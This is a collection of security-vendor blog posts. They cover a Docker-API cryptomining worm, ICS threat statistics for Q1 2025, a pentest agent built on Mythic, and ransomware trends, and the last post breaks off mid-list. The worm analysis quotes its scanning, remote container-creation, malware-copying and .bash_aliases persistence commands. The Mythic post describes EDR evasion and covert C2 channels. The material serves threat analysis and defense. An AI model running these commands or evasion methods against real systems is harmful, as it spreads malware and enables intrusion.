Read More 

Introduction

Imagine a container zombie outbreak where a single infected container scans the internet for an exposed Docker API, and bites exploits it by creating new malicious containers and compromising the running ones, thus transforming them into new “zombies” that will mine for Dero currency and continue “biting” new victims. No command-and-control server is required for the delivery, just an exponentially growing number of victims that are automatically infecting new ones. That’s exactly what the new Dero mining campaign does.

During a recent compromise assessment project, we detected a number of running containers with malicious activities. Some of the containers were previously recognized, while others were not. After forensically analyzing the containers, we confirmed that a threat actor was able to gain initial access to a running containerized infrastructure by exploiting an insecurely published Docker API. This led to the running containers being compromised and new ones being created not only to hijack the victim’s resources for cryptocurrency mining but also to launch external attacks to propagate to other networks. The diagram below describes the attack vector:

Infection chain

The entire attack vector is automated via two malware implants: the previously unknown propagation malware nginx and the Dero crypto miner. Both samples are written in Golang and packed with UPX. Kaspersky products detect these malicious implants with the following verdicts:

• nginx: Trojan.Linux.Agent.gen;
• Dero crypto miner: RiskTool.Linux.Miner.gen.

nginx: the propagation malware

This malware is responsible for maintaining the persistence of the crypto miner and its further propagation to external systems. This implant is designed to minimize interaction with the operator and does not require a delivery C2 server. nginx ensures that the malware spreads as long as there are users insecurely publishing their Docker APIs on the internet.

The malware is named “nginx” to masquerade as the well-known legitimate nginx web server software in an attempt to evade detection by users and security tools. In this post, we’ll refer to this malware as “nginx”.

After unpacking the nginx malware, we parsed the metadata of the Go binary and were able to determine the location of the Go source code file at compilation time: “/root/shuju/docker2375/nginx.go”.

Nginx source code file

Infecting the container

The malware starts by creating a log file at “/var/log/nginx.log”.

Log file creation

This log file will be used later to log the running activities of the malware, including data like the list of infected machines, the names of created malicious containers on those machines, and the exit status code if there were any errors.

Malware operations log

After that, in a new process, a function called main.checkVersion loops infinitely to make sure that the content of a file located at “/usr/bin/version.dat” inside the compromised container always equals 1.4. If the file contents were changed, this function overwrites them.

Ensuring that version.dat exists and contains 1.4

If version.dat doesn’t exist, the malicious function creates this file with the content 1.4, then sleeps for 24 hours before the next iteration.

Creating version.dat if it doesn’t exist

The malware uses the version.dat file to identify the already infected containers, which we’ll describe later.
The nginx sample then executes the main.monitorCloudProcess function that loops infinitely in a new process making sure that a process named cloud, which is a Dero miner, is running. First, the malware checks whether or not the cloud process is running. If it’s not, nginx executes the main.startCloudProcess function to launch the miner.

Monitoring and executing the cloud process

In order to execute the miner, the main.startCloudProcess function attempts to locate it at “/usr/bin/cloud”.

Executing the miner

Spreading the infection

Host search

Next, the nginx malware will go into an infinite loop of generating random IPv4 /16 network subnets to scan them and compromise more networks with the main.generateRandomSubnet function.

Infinite loop of network subnets generation and scanning

The subnets with the respective IP ranges will be passed to the main.scanSubnet function to be scanned via masscan, a port scanning tool installed in the container by the malware, which we will describe in more detail later. The scanner is looking for an insecure Docker API published on the internet to exploit by scanning the generated subnet via the following command: masscan -p 2375 -oL – –max-rate 360.

Scanning the generated subnet via masscan

The output of masscan is parsed via regex to extract the IPv4s that have the default Docker API port 2375 open. Then the extracted IPv4s are passed to the main.checkDockerDaemon function. It checks if the remote dockerd daemon on the host with a matching IPv4 is running and responsive. To do this, the malware attempts to list all running containers on the remote host by executing a docker -H PS command. If it fails, nginx proceeds to check the next IPv4.

Remotely listing running containers

Container creation

After confirming that the remote dockerd daemon is running and responsive, nginx generates a container name with 12 random characters and uses it to create a malicious container on the remote target.

Container name generation

The malicious container is created with docker -H run -dt –name –restart always ubuntu:18.04 /bin/bash. The malware uses a –restart always flag to start the newly created containers automatically when they exit.

Malicious container created on a new host

Then nginx prepares the new container to install dependencies later by updating the packages via docker -H exec apt-get -yq update.

Updating container packages

Next, the malicious sample uses a docker -H exec apt-get install -yq masscan docker.io command to install masscan and docker.io in the container, which are dependencies for the malware to interact with the Docker daemon and to perform the external scan to infect other networks.

Remotely installing the malware dependencies inside the newly created container

Then it transfers the two malicious implants, nginx and cloud, to the container by executing docker -H cp -L /usr/bin/ :/usr/bin.

Transferring nginx and cloud to the newly created container

The malware maintains persistence by adding the transferred nginx binary to /root/.bash_aliases to make sure that it will automatically execute upon shell login. This is done via a docker -H exec bash –norc -c 'echo "/usr/bin/nginx &" > /root/.bash_aliases' command.

Adding the nginx malware to .bash_aliases for persistence

Compromising running containers

Up until this point, the malware has only created new malicious containers. Now, it will try to compromise the ubuntu:18.04-based running containers. The sample first executes the main.checkAndOperateContainers function to check all the running containers on the remote vulnerable host for two conditions: the container has an ubuntu:18.04-base and it doesn’t contain a version.dat file, which is an indicator that the container had been previously infected.

Listing and compromising existing containers on the remote target

If these conditions are satisfied, the malware executes the main.operateOnContainer function to proceed with the same attack vector described earlier to infect the running container. The infection chain is repeated, hijacking the container resources to scan and compromise more containers and mining for the Dero cryptocurrency.

That way, the malware does not require a C2 connection and also maintains its activity as long as there is an insecurely published Docker API that can be exploited to compromise running containers and create new ones.

cloud – the Dero miner

Executing and maintaining cloud, the crypto miner, is the primary goal of the nginx sample. The miner is also written in Golang and packed with UPX. After unpacking the binary, we were able to attribute it to the open-source DeroHE CLI miner project found on GitHub. The threat actor wrapped the DeroHE CLI miner into the cloud malware, with a hardcoded mining configuration: a wallet address and a DeroHE node (derod) address.

If no addresses were passed as arguments, which is the case in this campaign, the cloud malware uses the hardcoded encrypted configuration as the default configuration. It is stored as a Base64-encoded string that, after decoding, results in an AES-CTR encrypted blob of a Base64-encoded wallet address, which is decrypted with the main.decrypt function. The configuration encryption indicates that the threat actors attempt to sophisticate the malware, as we haven’t seen this in previous campaigns.

Decrypting the crypto wallet address

Upon decoding this string, we uncovered the wallet address in clear text: dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y.

Behavioral analysis of the decryption function

Then the malware decrypts another two hardcoded AES-CTR encrypted strings to get the dero node addresses via a function named main.sockz.

Function calls to decrypt the addresses

The node addresses are encrypted the same way the wallet address is, but with other keys. After decryption, we were able to obtain the following addresses: d.windowsupdatesupport[.]link and h.wiNdowsupdatesupport[.]link.

Decoded addresses in memory

The same wallet address and the derod node addresses had been observed before in a campaign that targeted Kubernetes clusters with Kubernetes API anonymous authentication enabled. Instead of transferring the malware to a compromised container, the threat actor pulls a malicious image named pauseyyf/pause:latest, which is published on Docker Hub and contains the miner. This image was used to create the malicious container. Unlike the current campaign, the attack vector was meant to be stealthy as threat actors didn’t attempt to move laterally or scan the internet to compromise more networks. These attacks were seen throughout 2023 and 2024 with minor changes in techniques.

Takeaways

Although attacks on containers are less frequent than on other systems, they are not less dangerous. In the case we analyzed, containerized environments were compromised through a combination of a previously known miner and a new sample that created malicious containers and infected existing ones. The two malicious implants spread without a C2 server, making any network that has a containerized infrastructure and insecurely published Docker API to the internet a potential target.

Analysis of Shodan shows that in April 2025, there were 520 published Docker APIs over port 2375 worldwide. It highlights the potential destructive consequences of the described threat and emphasizes the need for thorough monitoring and container protection.

Docker APIs published over port 2375 ports worldwide, January–April 2025 (download)

Building your containerized infrastructure from known legitimate images alone doesn’t guarantee security. Just like any other system, containerized applications can be compromised at runtime, so it’s crucial to monitor your containerized infrastructure with efficient monitoring tools like Kaspersky Container Security. It detects misconfigurations and monitors registry images, ensuring the safety of container environments. We also recommend proactively hunting for threats to detect stealthy malicious activities and incidents that might have slipped unnoticed on your network. The Kaspersky Compromise Assessment service can help you not only detect such incidents, but also remediate them and provide immediate and effective incident response activities.

Indicators of compromise

File hashes
094085675570A18A9225399438471CC9  nginx
14E7FB298049A57222254EF0F47464A7   cloud

File paths
NOTE: Certain file path IoCs may lead to false positives due to the masquerading technique used.
/usr/bin/nginx
/usr/bin/cloud
/var/log/nginx.log
/usr/bin/version.dat

Derod nodes addresses
d.windowsupdatesupport[.]link
h.wiNdowsupdatesupport[.]link

Dero wallet address
dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y

Read More 

Trends

Relative stability from quarter to quarter. The percentage of ICS computers on which malicious objects were blocked remained unchanged from Q4 2024 at 21.9%. Over the last three quarters, the value has ranged from 22.0% to 21.9%.

The quarterly figures are decreasing from year to year. Since Q2 2023, the percentage of ICS computers on which malicious objects were blocked has been lower than the indicator of the same quarter of the previous year. Compared to Q1 2024, the figure decreased by 2.5 pp.

Percentage of ICS computers on which malicious objects were blocked, Q1 2022–Q1 2025

In January–March 2025, the figures were the lowest compared to the same months of the previous four years.

Percentage of ICS computers on which malicious objects were blocked, Jan 2021–Mar 2025

The biometrics sector continues to lead the selected industries / OT infrastructure types. This is the only OT infrastructure type where the percentage of ICS computers on which malicious objects were blocked increased during the quarter.

Threat levels in different regions still vary. In Q1 2025, the percentage of affected ICS computers ranged from 10.7% in Northern Europe to 29.6% in Africa. In eight out of 13 regions, the figures ranged from 19.0% to 25.0%.

The percentage of ICS computers on which denylisted internet resources were blocked continues to decrease. It reached its lowest level since the beginning of 2022. In the first three months of 2025, the corresponding figures were lower than those in January–March of the previous three years.

Percentage of ICS computers on which denylisted internet resources were blocked, Jan 2022–Mar 2025

Changes in the percentage of ICS computers on which initial-infection malware was blocked lead to changes in the percentage of next-stage malware. In Q1 2025, the percentage of ICS computers on which various types of malware spread via the internet and email were blocked increased for the first time since the beginning of 2023.

The internet is the primary source of threats to ICS computers. The main categories of threats from the internet are denylisted internet resources, malicious scripts and phishing pages.

The main categories of threats spreading via email are malicious documents, spyware, malicious scripts and phishing pages.

The percentage of ICS computers on which malicious scripts and phishing pages, and malicious documents were blocked increased in Q1 2025. In January–March, the monthly values in these two categories of threats were higher than in the same months of 2024.

Percentage of ICS computers on which malicious objects were blocked, Jan 2022–Mar 2025

The leading category of malware used for initial infection of ICS computers (see below) is malicious scripts and phishing pages.

Most malicious scripts and phishing pages act as droppers or loaders of next-stage malware (spyware, crypto miners and ransomware). The strong correlation between the values for malicious scripts and phishing pages, and spyware is clearly visible in the graph below.

Percentage of ICS computers on which malicious objects were blocked, Jan 2023–Mar 2025

Similar to malicious scripts and phishing pages, the percentage of ICS computers on which spyware was blocked was higher in the first three months of 2025 than in the same months of 2024.

Percentage of ICS computers on which spyware was blocked, Jan 2022–Mar 2025

The percentage of ICS computers on which miners (web miners and miners in the form of executable files for Windows) were blocked in Q1 2025 also increased.

Statistics across all threats

In Q1 2025, the percentage of ICS computers on which malicious objects were blocked remained at the same level as in the previous quarter: 21.9%.

Percentage of ICS computers on which malicious objects were blocked, Q1 2022–Q1 2025

Compared to Q1 2024, the percentage of ICS computers on which malicious objects were blocked decreased by 2.5 pp. However, it increased from January to March of 2025 when it reached its highest value in the quarter.

Percentage of ICS computers on which malicious objects were blocked, Jan 2023–Mar 2025

Regionally, the percentage of ICS computers on which malicious objects were blocked ranged from 10.7% in Northern Europe to 29.6% in Africa.

Regions ranked by percentage of ICS computers on which malicious objects were blocked, Q1 2025

In six of the 13 regions surveyed in this report, the figures increased from the previous quarter, with the largest change occurring in Russia.

Changes in percentage of ICS computers on which malicious objects were blocked,
Q1 2025

Selected industries

The biometrics sector led the ranking of the industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

Ranking of industries and OT infrastructures by percentage of ICS computers on which malicious objects were blocked, Q1 2025

The biometrics sector was also the only OT infrastructure type where the percentage of ICS computers on which malicious objects were blocked increased slightly. Despite this, the long-term trend is clearly downward.

Percentage of ICS computers on which malicious objects were blocked in selected industries

Diversity of detected malicious objects

In Q1 2025, Kaspersky security solutions blocked malware from 11,679 different malware families in various categories on industrial automation systems.

Percentage of ICS computers on which the activity of malicious objects from various categories was blocked

The largest proportional increase in Q1 2025 was in the percentage of ICS computers on which web miners (1.4 times more than in the previous quarter) and malicious documents (1.1 times more) were blocked.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s OT infrastructure.

In Q1 2025, the percentage of ICS computers on which threats from the internet and email clients were blocked increased for the first time since the end of 2023.

Percentage of ICS computers on which malicious objects from various sources were blocked

The rates for all threat sources varied across the monitored regions.

• The percentage of ICS computers on which threats from the internet were blocked ranged from 5.2% in Northern Europe to 12.8% in Africa.
• The percentage of ICS computers on which threats from email clients were blocked ranged from 0.88% in Russia to 6.8% in Southern Europe.
• The percentage of ICS computers on which threats from removable media were blocked ranged from 0.06% in Australia and New Zealand to 2.4% in Africa.

Threat categories

Typical attacks blocked within an OT network are a multi-stage process, where each subsequent step by the attackers is aimed at increasing privileges and gaining access to other systems by exploiting security flaws in industrial enterprises, including OT infrastructures.

It is worth noting that during the attack, intruders often repeat the same steps (TTP), especially when they use malicious scripts and established communication channels with the management and control infrastructure (C2) to move laterally within the network and advance the attack.

Malicious objects used for initial infection

In Q1 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to its lowest value since the beginning of 2022.

Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2022–Q1 2025

The decline in the percentage of denylisted internet resources since November 2024 was likely influenced not only by proactive threat mitigation at various levels, but also by techniques used by attackers to circumvent the blocking mechanisms based on the resource’s reputation, thus redistributing the protection burden to other detection technologies.

A detected malicious web resource may not always be added to a denylist because attackers are increasingly using legitimate internet resources and services such as content delivery network (CDN) platforms, messengers, and cloud storage. These services allow malicious code to be distributed through unique links to unique content, making it difficult to use reputation-based blocking tactics. We strongly recommend that industrial organizations implement policy-based blocking of such services, at least for OT networks where the need for such services is extremely rare for objective reasons.

The percentage of ICS computers on which malicious documents as well as malicious scripts and phishing pages were blocked increased slightly, to 1.85% (by 0.14 pp) and 7.16% (by 0.05 pp) respectively.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware – spyware, ransomware, and miners – to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q1 2025, the percentage of ICS computers on which spyware and ransomware were blocked decreased, reaching 4.20% (by losing 0.1 pp) and 0.16% (by losing 0.05 pp) respectively. Conversely, the indicator for miners increased. The percentage of ICS computers on which miners in the form of executable files for Windows and web miners were blocked increased to 0.78% (by 0.08 pp) and 0.53% (by 0.14 pp), respectively. The latter indicator reached its highest value since Q3 2023.

Percentage of ICS computers on which web miners were blocked, Q1 2022–Q1 2025

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media, network folders, infected files including backups, and network attacks on outdated software, such as Radmin2.

In Q1 2025, the percentage of ICS computers on which worms and viruses were blocked decreased to 1.31% (by losing 0.06 pp) and 1.53% (by losing 0.08 pp), respectively.

AutoCAD malware

AutoCAD malware is typically a low-level threat, coming last in the malware category rankings in terms of the percentage of ICS computers on which it was blocked.

In Q1 2025, the percentage of ICS computers on which AutoCAD malware was blocked continued to decrease (by losing 0.04 pp) and reached 0.034%.

You can find more information on industrial threats in the full version of the report.

Read More 

Introduction

The way threat actors use post-exploitation frameworks in their attacks is a topic we frequently discuss. It’s not just about analysis of artifacts for us, though. Our company’s deep expertise means we can study these tools to implement best practices in penetration testing. This helps organizations stay one step ahead.

Being experts in systems security assessment and information security in general, we understand that a proactive approach always works better than simply responding to incidents that have already occurred. And when we say “proactive”, we imply learning new technologies and techniques that threat actors may adopt next. That is why we follow the latest research, analyze new tools, and advance our pentesting expertise.

This report describes how our pentesters are using a Mythic framework agent. The text is written for educational purposes only and intended as an aid for security professionals who are conducting penetration testing with the system owner’s consent.

It’s worth noting that Kaspersky experts assign a high priority to the detection of the tools and techniques described in this article as well as many similar others employed by threat actors in real-world attacks.

These efforts to counter malicious actors use solutions like Kaspersky Endpoint Security that utilize the technologies listed below.

• Behavioral analysis tracks processes running in the operating system, detects malicious activity, providing added security for critical OS components such as the Local Security Authority Subsystem Service process.
• Exploit prevention stops threat actors from taking advantage of vulnerabilities in installed software and the OS itself.
• Fileless threats protection detects and blocks threats that, instead of residing in the file system as traditional files, exist as scheduled tasks, WMI subscriptions, and so on.
• There are many others too.

However, it’s worth noting that since our study discusses a sophisticated attack controlled directly by a malicious actor (or a pentester), more robust defense calls for a layered approach to security. This must incorporate security tools to help SOC experts quickly detect malicious activity and respond in real time.

These include Endpoint Detection and Response, Network Detection and Response and Extended Detection and Response solutions as well as Managed Detection and Response services. They provide continuous monitoring and response to potential incidents. Usage of threat intelligence to acquire up-to-date and relevant information about attacker tactics and techniques is another cornerstone of comprehensive defense against sophisticated threats and targeted attacks.

This study is the product of our exploration and analysis: how we as defenders can best prepare and what we should expect. What follows is part one of the report in which we compare pentesting tools and choose the option that suits the objectives of our study. Part two deals with how to communicate with the chosen framework and achieve our objectives.

Pentester tools: how to choose

An overview of ready-made solutions

Selecting pentesting tools can prove a challenging task. Few pentesters can avoid detection by EPP or EDR solutions. As soon as a pentesting tool gains popularity among attackers, defensive technologies begin detecting not only its behavior, but also its individual components. Besides, the ability to detect the tool becomes a key performance indicator for these technologies. As a result, pentesters have to spend more time preparing for a project.

At the same time, many existing solutions have flaws that impede pentesting. Ethical hackers, for example, frequently use Cobalt Strike. The Beacon agent uses a specific opcode sequence in platform version 4.9.1. To avoid detection by security solutions, opcodes must be changed, but that breaks the agent.

Immutable opcode sequence for Cobalt Strike agent

Another example is Metasploit’s Meterpreter payload, whose signatures appear in Microsoft’s antivirus database more than 230 times, making the tool significantly more difficult to use in projects.

The Sliver framework is an open-source project. It is in active development, and it can handle pentesting tasks. However, this project has a number of drawbacks, too.

1. The size of a payload generated by the framework is 8–9 megabytes. This reduces flexibility because the ideal size of a pentesting agent that ensures versatility is about 100 KB.
2. Stability issues. We’ve seen active sessions drop. The framework once lacked support for automatically using a proxy server from the Windows configuration, which also complicated its use. This has since been addressed.

The Havoc framework and its Demon payload are currently gaining popularity: both are evolving, and both support evasion techniques. However, the framework currently suffers from a lack of compliance with operational security (OPSEC) principles and stability issues. Additionally, payload customization in Havoc is limited by rigid parameters.

As you can see, we cannot fully rely on open-source projects for pentesting due to their significant shortcomings. On the other hand, creating tools from scratch would require extra resources, which is inefficient. So, it’s crucial to strike the right balance between building in-house solutions and leveraging open-source projects.

Payload structure

First, let’s define what kind of payload is required for pentesting. We had decided to split it into three modules: Stage 0, Stage 1 and Stage 2. The first module, Stage 0, creates and runs the payload. It must generate an artifact, such as a shellcode, a DLL or EXE file, or a VBA script, and provide maximum flexibility by offering customizable parameters for running the payload. This module also handles the circumvention of security measures and monitors the runtime environment.

The second module (Stage 1) must allow the operator to examine the host, perform initial reconnaissance, and then use that information to establish persistence via a payload maintaining covert communications. After successfully establishing persistence, this module must launch the third module (Stage 2) to perform further activities such as lateral movement, privilege escalation, data exfiltration, and credential harvesting.

Three payload modules

The Stage 0 module has to be written from scratch, as available tools quickly get detected by security systems and become useless for penetration testing. To implement the Stage 1 module, we settled on a hybrid approach: partially modifying existing open-source projects while implementing some features in-house. For the third module (Stage 2), we also used open-source projects with minor modifications.

This article details the implementation of the second module (Stage 1) in detail.

Formulating requirements

In light of the objectives outlined above, we will formulate the requirements for the Stage 1 module.

1. Dynamic functionality, or modularity, for increased resilience. In addition, dynamic configuration allows adding techniques via new modules without changing the functional core.
2. Ensuring that the third payload module (Stage 2) runs.
3. Minimal size (100–200 KB) and minimal traces left in the system.
4. The module must comply with OPSEC principles and allow operations to run undetected by security controls. This means we must provide a mechanism for evading signature-based memory scanning.
5. Employing non-standard (hidden) communication channels, outside of HTTP and TCP, to establish covert persistence and avoid network detection.

Choosing the best solution

While defining the requirements, we recognized the need for a modular design. To begin, we need to determine the best way to add new features while running the tasks. One widely used method for dynamically adding functionality is reflective DLL injection, introduced in 2008. This type of injection has both its upsides and downsides. The ReflectiveLoader function is fairly easy to detect, so we’d need a custom implementation for a dynamic configuration. This is an effective yet costly way of achieving modularity, so we decided to keep looking.

The PowerShell Empire framework, whose loader is based on reflective PowerShell execution, gained popularity in the mid-2010s. The introduction of strict monitoring and rigid policies surrounding PowerShell marked the end of its era, with .NET assemblies, executed reflectively using the Assembly.Load method, gaining popularity. Around this time, toolkits like SharpSploit and GhostPack emerged. Cobalt Strike’s execute-assembly feature, introduced in 2018, allowed for .NET assembly injection into a newly created process. Process creation followed by injection is a strong indicator of compromise and is subject to rigorous monitoring. Injecting code requires considerable planning and tailored resources, plus it’s easily detectable. It’s best used after you’ve already performed initial reconnaissance and established persistence.

The next stage of framework evolution is the execution of object files in memory. An object file (COFF, Common Object File Format) is a file that represents a compiled version of the source code. Object files are typically not full-fledged programs: they are needed to link and build a project. An object file includes several important elements ensuring that the executable code functions correctly.

• Header contains information about the architecture, timestamp, number of sections and symbols, and other metadata.
• Sections are blocks that may include assembly code, debugging information, linker directives, exception information, and static data.
• Symbol table contains functions and variables, and information about their location in memory.

Using object files allows you to avoid loading a CLR environment into the process, such as when using a .NET assembly and the Assembly.Load method.

Moreover, COFF is executed in the current context, without the need to create a process and inject the code into it. The feature was introduced and popularized in 2020 by the developers of the Cobalt Strike framework. And in 2021, TrustedSec developed the open-source COFF Loader that serves the same purpose: the tool loads a COFF file from disk and runs it. This functionality perfectly aligns with our objectives because it enables us to perform the required actions: surveying, gaining persistence within the system and initiating the next module via an object file – if we incorporate network retrieval and in-memory execution of the file in the project. In addition, when using COFF Loader, the pentester can remain undetected in the system for a long time.

To interact with the agent in this study, we decided to use BOFs (Beacon Object Files) designed for Cobalt Strike Beacon. The internet offers a wide variety of open-source tools and functions created for BOFs. By using different BOFs as separate modules, we can easily add new techniques at any time without modifying the agent’s core.

Another key requirement for Stage 1 is a minimal payload size. Several approaches can achieve this: for instance, using C# can result in a Stage 1 size of around 20 KB. This is quite good, but the payload will then have a dependency on the .NET framework. If we use a native language like C, the unencrypted payload will be approximately 50 KB, which fits our needs.

Our payload requirements are supported by the Mythic framework. Its microservice architecture makes it easy to add arbitrary server-side functionality. For example, the module assembly process takes place inside a container and is fully defined by us. This allows us to replace specific strings with arbitrary values if detected. Furthermore, Mythic supports both standard communication protocols (HTTPS, TCP) and covert channels, such as encrypted communication over Slack or Telegram. Finally, the use of C ensures a small payload size. All of these factors make the Mythic framework and the agent interacting with it to execute BOFs an optimal choice for launching the second module.

Communication model

In the communication process between the agent and the framework, we need to focus on three elements: payload containers, C2 profile containers, and the translation container. Payload containers hold the agent’s source code and are responsible for building the payload. C2 profile containers are responsible for communicating with the agent. They must receive traffic from the agent and send it to Mythic for further processing. The translation container handles the encryption and decryption of network traffic. We’ll be using HTTP when interacting with Mythic, so the C2 profile will be a web server listening on ports 80 and 443.

Communication flow between the agent and the Mythic framework

Loading an object file

To load and execute an object file, the agent must read the .text section and replace all zeros with relative addresses of external functions and static data. This is known as symbol relocation, which addresses references within a particular section of the object file. Furthermore, the agent places these symbols in memory, for example, after the code section.

To find external functions, we’ll have to analyze the libraries specified in the linker directives of the object file. To do this, we used the functions LoadLibrary, GetModuleHandle and GetProcAddress.

The diagram below clarifies how an object file is loaded and memory is allocated for its components.

Object file representation on disk (left) and in memory (right)

The downsides of the solution

The method described above has a number of shortcomings. Because object file execution is blocking, multiple tasks cannot run simultaneously. For long-term tasks, other methods such as process injection are necessary; however, this is not a critical flaw for the second module, as it is not intended for long-running tasks.

Several other shortcomings are difficult to mitigate. For example, since the object file is executed in the current thread, a critical error will terminate the process. Furthermore, during the execution of the object file in memory, the VirtualAlloc function is used for section mapping and relocation. A call to this WinAPI might alert the security system.

Implementing additional functionality during development and compilation can help complicate analysis and detection for more efficient pentesting and a longer agent life cycle.

Conclusion

Mythic’s features make it a convenient pentesting tool that covers the bulk of pentesting objectives. To utilize this framework efficiently, we created an agent that extends ready-made solutions with our own code. This configuration gave us suitable flexibility and enhanced protection against detection, which is most of what a pentester asks of a working tool.

Read More 

Global ransomware trends and numbers

With the International Anti-Ransomware Day just around the corner on May 12, Kaspersky explores the ever-changing ransomware threat landscape and its implications for cybersecurity. According to Kaspersky Security Network data, the number of ransomware detections decreased by 18% from 2023 to 2024 – from 5,715,892 to 4,668,229. At the same time, the share of users affected by ransomware attacks increased by 0.02 p.p. to 0.44%. This smaller percentage compared to other cyberthreats is explained by the fact that attackers often don’t distribute this type of malware on a mass scale, but prioritize high-value targets, which reduces the overall number of incidents.

That said, if we look at incidents at organizations requiring immediate incident response services that were mitigated by Kaspersky’s Global Emergency Response Team (GERT), we’ll see that 41.6% of them were related to ransomware in 2024, compared to 33.3% in 2023. Targeted ransomware is likely to remain the primary threat to organizations around the world for the foreseeable future.

Below are some of the global trends that Kaspersky observed with ransomware in 2024.

Ransomware-as-a-Service (RaaS) dominance

The RaaS model remains the predominant framework for ransomware attacks, fueling their proliferation by lowering the technical barrier for cybercriminals. In 2024, RaaS platforms like RansomHub thrived by offering malware, technical support and affiliate programs that split the ransom (e.g., 90/10 for affiliates/core group). This model enables less-skilled actors to execute sophisticated attacks, contributing to the emergence of multiple new ransomware groups in 2024 alone. While traditional ransomware still exists, the scalability and profitability of RaaS make it the primary engine, with platforms evolving to include services such as initial access brokering and data exfiltration, ensuring its dominance into 2025.

Some groups continue to go cross-platform, while Windows remains the primary target

Many ransomware attacks still target Windows-based systems, reflecting the operating system’s widespread use in enterprise environments. The architecture of Windows, combined with vulnerabilities in software such as Remote Desktop Protocol (RDP) and unpatched systems, makes it a prime target for ransomware executables. In recent years, however, some attackers have diversified, with groups like RansomHub and Akira developing variants for Linux and VMware systems, particularly in cloud and virtualized environments. While Windows remains the epicenter, the growing focus on cross-platform ransomware signals a shift toward exploiting diverse infrastructures, especially as organizations adopt hybrid and cloud setups. This is not a new trend, and we expect it to persist in the coming years.

Overall ransomware payments down, average ransom payment up

According to Chainalysis, ransomware payments dropped significantly in 2024 to approximately $813.55 million, down 35% from a record $1.25 billion in 2023. On the other hand, Sophos reports that the average ransom payment surged from $1,542,333 in 2023 to $3,960,917 in 2024, reflecting a trend of targeting larger organizations with higher demands. This report also highlights that more organizations paid ransoms to get their data back, although other reports indicate that fewer organizations paid ransoms than in 2023. For example, according to Coveware, a company that specializes in fighting ransomware, the payment rate hit a record low of 25% in Q4 2024, down from 29% in Q4 2023, driven by law enforcement crackdowns, improved cybersecurity and regulatory pressures discouraging payments.

While encryption remains a core component of many ransomware attacks, the primary goal for some groups has shifted or expanded beyond locking data

In 2024, cybercriminals increasingly prioritized data exfiltration alongside, or sometimes instead of, encryption, focusing on stealing sensitive information to maximize leverage and profits or even extending threats to third parties such as customers, partners, suppliers, etc. Encryption is still widely used, but the rise of double and triple extortion tactics shows a strategic pivot. RansomHub and most modern ransomware groups often combine encryption with data theft, threatening to leak or sell stolen data if a ransom is not paid, making exfiltration a critical tactic.

Dismantled or disrupted ransomware actors in 2024

Several major ransomware groups faced significant disruptions in 2024, though the ecosystem’s resilience limited the long-term impact. LockBit, responsible for 27.78% of attacks in 2023, was hit hard by Operation Cronos in February 2024, with law enforcement seizing its infrastructure, arresting members and unmasking its leader, Dmitry Khoroshev. However, despite these efforts, LockBit relaunched its operations and remained active throughout 2024.

ALPHV/BlackCat, another prolific group, was dismantled after an FBI operation in December 2023, though affiliates migrated to other groups such as RansomHub. The Radar/Dispossessor operation was disrupted by the FBI in August 2024, and German authorities seized 47 cryptocurrency exchanges linked to ransomware laundering. Despite these takedowns, groups like RansomHub and Play quickly filled the void, underscoring the challenge of eradicating ransomware networks. However, according to the latest research, the RansomHub group presumably paused their operations as of April 1, 2025.

Some groups disappear, others pick up their work

When ransomware groups disband or disappear, their tools, tactics and infrastructure often remain accessible in the cybercriminal ecosystem, allowing other groups to adopt and enhance them. For example, groups like BlackMatter or REvil, after facing pressure from law enforcement, saw their code and methods reused by successors like BlackCat, which in turn was followed by Cicada3301. Disappearing groups may also sell their source code, exploit kits or affiliate models on dark web forums, enabling emerging or existing gangs to repurpose these resources. In addition, malicious tools are sometimes leaked to the internet, as was the case with LockBit 3.0. As a result, many smaller groups or individuals unrelated to the ransomware developers, including hacktivists and low-skilled cybercriminals, get hold of these tools and use them for their own purposes. This cycle of knowledge transfer accelerates the evolution of ransomware as new actors build on proven strategies, adapt to countermeasures, and exploit vulnerabilities faster than defenders can respond. In telemetry, these new groups using old toolkits can be identified as old groups (e.g., LockBit).

Ransomware groups increasingly developing their own custom toolkits

This is done to increase the effectiveness of their attacks and avoid detection. These toolkits often include exploitation tools, lateral movement tools, password attack tools, etc. that are tailored to specific targets or industries. By creating proprietary tools, these groups reduce their reliance on widely available, detectable exploits and maintain control over their operations. This in-house development also facilitates frequent updates to counter defenses and exploit new vulnerabilities, making their attacks more resilient and harder for cybersecurity measures to mitigate.

General vs. targeted ransomware share

Targeted ransomware attacks, aimed at specific organizations for maximum disruption and payout, focus on high-value targets such as hospitals, financial institutions and government agencies, leveraging reconnaissance and zero-day exploits for precision. General ransomware, which spreads indiscriminately via phishing or external devices, often affects smaller businesses or individuals with weaker defenses. The focus on targeted attacks reflects cybercriminals’ preference for larger ransoms, though general ransomware persists due to its low-effort, high-volume potential.

According to Kaspersky research, RansomHub was the most active group executing targeted attacks in 2024, followed by Play.

Each group’s share of victims according to its data leak site (DLS) as a percentage of all reported victims of all groups during the period under review (download)

AI tools used in ransomware development (FunkSec)

FunkSec emerged as a ransomware group in late 2024 and quickly gained notoriety, claiming multiple victims in December alone and outpacing established groups like Cl0p and RansomHub. Operating on a Ransomware-as-a-Service (RaaS) model, FunkSec employs a double extortion tactic that combines data encryption with exfiltration. The group targets sectors such as government, technology, finance and education in countries including India, Spain and Mongolia.

FunkSec is notable for its heavy reliance on AI-assisted tools, particularly in malware development. Its ransomware features AI-generated code with comments that are perfect from a language perspective, suggesting the use of large language models (LLMs) to streamline development and evade detection. Unlike typical ransomware groups that demand millions, FunkSec’s ransoms are unusually low, adopting a high-volume, low-cost approach.

Bring Your Own Vulnerable Driver attacks continue

